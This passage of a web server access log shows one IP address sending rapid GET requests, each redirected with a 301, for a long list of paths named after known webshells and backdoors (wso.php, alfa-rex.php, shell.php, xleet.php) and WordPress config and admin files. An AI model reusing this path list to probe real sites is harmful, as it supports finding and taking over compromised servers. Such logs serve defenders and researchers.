795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:49 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:50 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:50 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:51 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:51 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:52 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:52 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:52 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:53 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:53 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:53 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:54 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:54 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:54 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:55 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:55 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:55 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:56 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:56 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:56 -0400] "GET /wp-cdi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:57 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:57 -0400] "GET /wp-content/plugins/nbs7drg5/fooster1337.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:57 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:58 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:58 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:58 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:58 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:59 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:59 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:59 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:00 -0400] "GET /wp-content/pm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:00 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:00 -0400] "GET /wp-content/plugins/erinyani/past.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:01 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:01 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:01 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:02 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:02 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:02 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:02 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:03 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:03 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:03 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:04 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:04 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:05 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:05 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:05 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:06 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:06 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:06 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:07 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:07 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:07 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:08 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:08 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:09 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:09 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:09 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:10 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:10 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:10 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:11 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:11 -0400] "GET /wp-content/plugins/pwnd/2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:11 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:11 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:12 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:12 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:12 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:13 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:13 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:13 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:14 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:14 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:14 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:15 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:15 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:15 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:16 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:16 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:16 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:17 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:17 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:17 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:18 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:18 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:18 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:19 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:19 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:19 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:19 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:20 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:20 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:20 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:21 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:21 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:21 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:22 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:22 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:22 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:23 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:23 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:23 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:24 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:24 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:24 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:24 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:25 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:25 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:25 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:26 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:26 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:26 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:27 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:27 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:27 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:27 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:28 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:28 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:28 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:29 -0400] "GET /uy26sfm6.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:29 -0400] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:29 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:29 -0400] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:30 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:30 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:30 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:30 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:31 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:31 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:31 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:32 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:32 -0400] "GET /wp-includes/block-supports/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:32 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:32 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:33 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:33 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:33 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:34 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:34 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:34 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:34 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:35 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:35 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:35 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:35 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:36 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:36 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:36 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:37 -0400] "GET /wp-content/themes/twentynineteen/fonts/dir/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:37 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:37 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:37 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:38 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:38 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:38 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:38 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:39 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:39 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:39 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:40 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:40 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:40 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:41 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:41 -0400] "GET /bi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:41 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:42 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:42 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:42 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:43 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:43 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:43 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:44 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:44 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:44 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:45 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:45 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:45 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:46 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:46 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:46 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:47 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:47 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:47 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:48 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:48 -0400] "GET /wp-happy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:48 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:49 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:49 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:49 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:49 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:50 -0400] "GET /cgi-bin/cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:50 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:50 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:51 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:51 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:51 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:51 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:52 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:52 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:52 -0400] "GET /wp-express.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:53 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:53 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:53 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:54 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:54 -0400] "GET /85022df0ed31.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:54 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:55 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:55 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:55 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:56 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:56 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:57 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:57 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:57 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:58 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:58 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:58 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:59 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:59 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:51:59 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:00 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:00 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:00 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:01 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:01 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:02 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:02 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:02 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:03 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:52:03 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - 